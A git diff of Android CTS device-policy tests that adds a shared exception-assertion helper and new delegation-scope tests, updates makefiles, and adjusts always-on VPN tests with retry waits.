diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
index d8d0ab3..933e257 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/CertInstallDelegateTest.java
@@ -16,6 +16,7 @@
package com.android.cts.delegate;
import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -121,23 +122,16 @@
public void testCannotAccessApis() {
assertFalse(amICertInstallDelegate());
- try {
- mDpm.installCaCert(null, null);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Neither user \\d+ nor current process has "
- + "android.permission.MANAGE_CA_CERTIFICATES",
- expected.getMessage());
- }
- try {
- mDpm.removeKeyPair(null, "alias");
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-cert-install.",
- expected.getMessage());
- }
+
+ assertExpectException(SecurityException.class,
+ "Neither user \\d+ nor current process has", () -> {
+ mDpm.installCaCert(null, null);
+ });
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.removeKeyPair(null, "alias");
+ });
}
public void testCanAccessApis() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
new file mode 100644
index 0000000..b162f86
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/DelegateTestUtils.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import android.test.MoreAsserts;
+import junit.framework.Assert;
+
+/**
+ * Utils class for delegation tests.
+ */
+public class DelegateTestUtils {
+
+ @FunctionalInterface
+ public interface ExceptionRunnable {
+ void run() throws Exception;
+ }
+
+ public static void assertExpectException(Class<? extends Throwable> expectedExceptionType,
+ String expectedExceptionMessageRegex, ExceptionRunnable r) {
+ try {
+ r.run();
+ } catch (Throwable e) {
+ Assert.assertTrue("Expected " + expectedExceptionType.getName() + " but caught " + e,
+ expectedExceptionType.isAssignableFrom(e.getClass()));
+ if (expectedExceptionMessageRegex != null) {
+ MoreAsserts.assertContainsRegex(expectedExceptionMessageRegex, e.getMessage());
+ }
+ return; // Pass
+ }
+ Assert.fail("Expected " + expectedExceptionType.getName() + " was not thrown");
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
new file mode 100644
index 0000000..246f936
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/EnableSystemAppDelegateTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
+import static android.content.pm.PackageManager.GET_META_DATA;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Intent;
+import android.test.InstrumentationTestCase;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PERMISSION_GRANT} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can grant permissions and check permission grant
+ * state.
+ */
+public class EnableSystemAppDelegateTest extends InstrumentationTestCase {
+
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+ private DevicePolicyManager mDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mDpm = getInstrumentation().getContext().getSystemService(DevicePolicyManager.class);
+ }
+
+ public void testCannotAccessApis() {
+ assertFalse("DelegateApp should not be an enable system app delegate",
+ amIEnableSystemAppDelegate());
+
+ // Exercise enableSystemApp(String).
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.enableSystemApp(null, TEST_APP_PKG);
+ });
+
+ // Exercise enableSystemApp(Intent).
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.enableSystemApp(null, new Intent().setPackage(TEST_APP_PKG));
+ });
+ }
+
+ public void testCanAccessApis() {
+ assertTrue("DelegateApp is not an enable system app delegate",
+ amIEnableSystemAppDelegate());
+
+ // Exercise enableSystemApp(String).
+ assertExpectException(IllegalArgumentException.class,
+ "Only system apps can be enabled this way", () -> {
+ mDpm.enableSystemApp(null, TEST_APP_PKG);
+ });
+
+ // Exercise enableSystemApp(Intent).
+ mDpm.enableSystemApp(null, new Intent());
+ }
+
+ private boolean amIEnableSystemAppDelegate() {
+ final String packageName = getInstrumentation().getContext().getPackageName();
+ final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+ return scopes.contains(DELEGATION_ENABLE_SYSTEM_APP);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
index 24bee4f..c403ffb 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/GeneralDelegateTest.java
@@ -18,6 +18,8 @@
import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
import static android.app.admin.DevicePolicyManager.DELEGATION_BLOCK_UNINSTALL;
import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
import static android.app.admin.DevicePolicyManager.DELEGATION_ENABLE_SYSTEM_APP;
import android.app.admin.DevicePolicyManager;
@@ -47,7 +49,10 @@
private static final String EXPECTED_DELEGATION_SCOPES[] = {
DELEGATION_APP_RESTRICTIONS,
DELEGATION_BLOCK_UNINSTALL,
- DELEGATION_CERT_INSTALL
+ DELEGATION_CERT_INSTALL,
+ DELEGATION_PERMISSION_GRANT,
+ DELEGATION_PACKAGE_ACCESS,
+ DELEGATION_ENABLE_SYSTEM_APP
};
@Override
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
new file mode 100644
index 0000000..86f2639
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PackageAccessDelegateTest.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PACKAGE_ACCESS;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PACKAGE_ACCESS} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can manage package hide and suspend status.
+ */
+public class PackageAccessDelegateTest extends InstrumentationTestCase {
+
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+
+ private DevicePolicyManager mDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Context context = getInstrumentation().getContext();
+ mDpm = context.getSystemService(DevicePolicyManager.class);
+ }
+
+ public void testCannotAccessApis() throws NameNotFoundException {
+ assertFalse("DelegateApp should not be a package access delegate",
+ amIPackageAccessDelegate());
+
+ // Exercise isApplicationHidden.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.isApplicationHidden(null, TEST_APP_PKG);
+ });
+
+ // Exercise setApplicationHidden.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */);
+ });
+
+ // Exercise isPackageSuspended.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.isPackageSuspended(null, TEST_APP_PKG);
+ });
+
+ // Exercise setPackagesSuspended.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG}, true /* suspend */);
+ });
+ }
+
+ public void testCanAccessApis() throws NameNotFoundException {
+ assertTrue("DelegateApp is not a package access delegate", amIPackageAccessDelegate());
+
+ // Exercise isApplicationHidden.
+ assertFalse("Package should not be hidden", mDpm.isApplicationHidden(null, TEST_APP_PKG));
+
+ // Exercise setApplicationHidden.
+ assertTrue("Package not hidden successfully",
+ mDpm.setApplicationHidden(null, TEST_APP_PKG, true /* hide */));
+ assertTrue("Package should be hidden", mDpm.isApplicationHidden(null, TEST_APP_PKG));
+
+ // Exercise isPackageSuspended.
+ assertFalse("Package should not be suspended", mDpm.isPackageSuspended(null, TEST_APP_PKG));
+
+ // Exercise setPackagesSuspended.
+ String[] suspended = mDpm.setPackagesSuspended(null, new String[] {TEST_APP_PKG},
+ true /* suspend */);
+ assertTrue("Package not suspended successfully", suspended.length == 0);
+ assertTrue("Package should be suspended", mDpm.isPackageSuspended(null, TEST_APP_PKG));
+ }
+
+ private boolean amIPackageAccessDelegate() {
+ final String packageName = getInstrumentation().getContext().getPackageName();
+ final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+ return scopes.contains(DELEGATION_PACKAGE_ACCESS);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
new file mode 100644
index 0000000..81b74a2
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/PermissionGrantDelegateTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.delegate;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_GRANT;
+import static android.app.admin.DevicePolicyManager.PERMISSION_POLICY_AUTO_DENY;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+import static android.app.admin.DevicePolicyManager.PERMISSION_GRANT_STATE_DENIED;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.test.InstrumentationTestCase;
+import android.test.MoreAsserts;
+
+import java.util.List;
+
+/**
+ * Test that an app given the {@link DevicePolicyManager#DELEGATION_PERMISSION_GRANT} scope via
+ * {@link DevicePolicyManager#setDelegatedScopes} can grant permissions and check permission grant
+ * state.
+ */
+public class PermissionGrantDelegateTest extends InstrumentationTestCase {
+
+ private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
+ private static final String TEST_PERMISSION = "android.permission.READ_CONTACTS";
+
+ private DevicePolicyManager mDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Context context = getInstrumentation().getContext();
+ mDpm = context.getSystemService(DevicePolicyManager.class);
+ }
+
+ public void testCannotAccessApis() {
+ assertFalse("DelegateApp should not be a permisssion grant delegate",
+ amIPermissionGrantDelegate());
+
+ // Exercise setPermissionPolicy.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_GRANT);
+ });
+ assertFalse("Permission policy should not have been set",
+ PERMISSION_POLICY_AUTO_GRANT == mDpm.getPermissionPolicy(null));
+
+ // Exercise setPermissionGrantState.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
+ PERMISSION_GRANT_STATE_GRANTED);
+ });
+
+ // Exercise getPermissionGrantState.
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION);
+ });
+ }
+
+ public void testCanAccessApis() {
+ assertTrue("DelegateApp is not a permission grant delegate",
+ amIPermissionGrantDelegate());
+
+ // Exercise setPermissionPolicy.
+ mDpm.setPermissionPolicy(null, PERMISSION_POLICY_AUTO_DENY);
+ assertTrue("Permission policy was not set",
+ PERMISSION_POLICY_AUTO_DENY == mDpm.getPermissionPolicy(null));
+
+ // Exercise setPermissionGrantState.
+ assertTrue("Permission grant state was not set successfully",
+ mDpm.setPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION,
+ PERMISSION_GRANT_STATE_DENIED));
+
+ // Exercise getPermissionGrantState.
+ assertEquals("Permission grant state is not denied", PERMISSION_GRANT_STATE_DENIED,
+ mDpm.getPermissionGrantState(null, TEST_APP_PKG, TEST_PERMISSION));
+ }
+
+ private boolean amIPermissionGrantDelegate() {
+ final String packageName = getInstrumentation().getContext().getPackageName();
+ final List<String> scopes = mDpm.getDelegatedScopes(null, packageName);
+ return scopes.contains(DELEGATION_PERMISSION_GRANT);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 46d9cc0..a8f4f05 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -26,11 +26,16 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index 9afaa7a..4e2cfb6 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -26,11 +26,16 @@
LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/../res
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ ctstestrunner \
+ compatibility-device-util \
+ legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
index ba45435..72d2bb0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package1/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
index 73e0e25..e2f9b8d 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package2/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
index 4be285b..b88d537 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package3/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
index d9a9f89..7f72ddf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/package4/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
index 8595a39..8c66638 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdminService/packageb/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index 516e32e..c818856 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
@@ -33,6 +33,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 962c5f5..1c50763 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
-LOCAL_JAVA_LIBRARIES = conscrypt
+LOCAL_JAVA_LIBRARIES = conscrypt legacy-android-test
LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 compatibility-device-util ctstestrunner ub-uiautomator
@@ -33,6 +33,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 1167a08..81a23d2 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -33,6 +33,6 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
index 93c052f..0dc8bc3 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/AndroidManifest.xml
@@ -23,6 +23,7 @@
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
index 14f64d6..25d7be7 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnMultiStageTest.java
@@ -16,31 +16,43 @@
package com.android.cts.deviceandprofileowner;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
import android.content.pm.PackageManager;
import android.system.ErrnoException;
import android.system.OsConstants;
import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import java.util.concurrent.TimeUnit;
/**
* Contains methods to test always-on VPN invoked by DeviceAndProfileOwnerTest
*/
public class AlwaysOnVpnMultiStageTest extends BaseDeviceAdminTest {
+ private final int MAX_NUMBER_OF_ATTEMPTS = 5;
+
public void testAlwaysOnSet() throws Exception {
// Setup always-on vpn
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
assertTrue(VpnTestHelper.isNetworkVpn(mContext));
VpnTestHelper.checkPing(TEST_ADDRESS);
}
+ public void testAlwaysOnSetAfterReboot() throws Exception {
+ VpnTestHelper.waitForVpn(mContext, null, /* usable */ true);
+ VpnTestHelper.checkPing(TEST_ADDRESS);
+ }
+
public void testNetworkBlocked() throws Exception {
// After the vpn app being force-stop, expect that always-on package stays the same
assertEquals(VPN_PACKAGE, mDevicePolicyManager.getAlwaysOnVpnPackage(
ADMIN_RECEIVER_COMPONENT));
+ for(int i = 0; i < MAX_NUMBER_OF_ATTEMPTS && VpnTestHelper.isNetworkVpn(mContext); ++i) {
+ Thread.sleep(TimeUnit.SECONDS.toMillis(1));
+ }
assertFalse(VpnTestHelper.isNetworkVpn(mContext));
// Expect the network is still locked down after the vpn app process is killed
try {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
index 01a5a3a..fff701e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AlwaysOnVpnTest.java
@@ -16,14 +16,14 @@
package com.android.cts.deviceandprofileowner;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
+import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
+
import android.os.Bundle;
import android.os.UserManager;
import com.android.cts.deviceandprofileowner.vpn.VpnTestHelper;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.VPN_PACKAGE;
-import static com.android.cts.deviceandprofileowner.vpn.VpnTestHelper.TEST_ADDRESS;
-
/**
* Validates that a device owner or profile owner can set an always-on VPN without user action.
*
@@ -46,6 +46,8 @@
@Override
public void setUp() throws Exception {
super.setUp();
+ // always-on is null by default
+ assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
mPackageName = mContext.getPackageName();
}
@@ -60,7 +62,7 @@
// test always-on is null by default
assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
VpnTestHelper.checkPing(TEST_ADDRESS);
}
@@ -81,7 +83,7 @@
restrictions.putStringArray(RESTRICTION_ALLOWED, new String[] {mPackageName});
mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
restrictions);
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ true);
assertTrue(VpnTestHelper.isNetworkVpn(mContext));
}
@@ -90,14 +92,11 @@
restrictions.putStringArray(RESTRICTION_DISALLOWED, new String[] {mPackageName});
mDevicePolicyManager.setApplicationRestrictions(ADMIN_RECEIVER_COMPONENT, VPN_PACKAGE,
restrictions);
- VpnTestHelper.setAndWaitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
+ VpnTestHelper.waitForVpn(mContext, VPN_PACKAGE, /* usable */ false);
assertFalse(VpnTestHelper.isNetworkVpn(mContext));
}
public void testSetNonVpnAlwaysOn() throws Exception {
- // test always-on is null by default
- assertNull(mDevicePolicyManager.getAlwaysOnVpnPackage(ADMIN_RECEIVER_COMPONENT));
-
// Treat this CTS DPC as an non-vpn app, since it doesn't register
// android.net.VpnService intent filter in AndroidManifest.xml.
try {
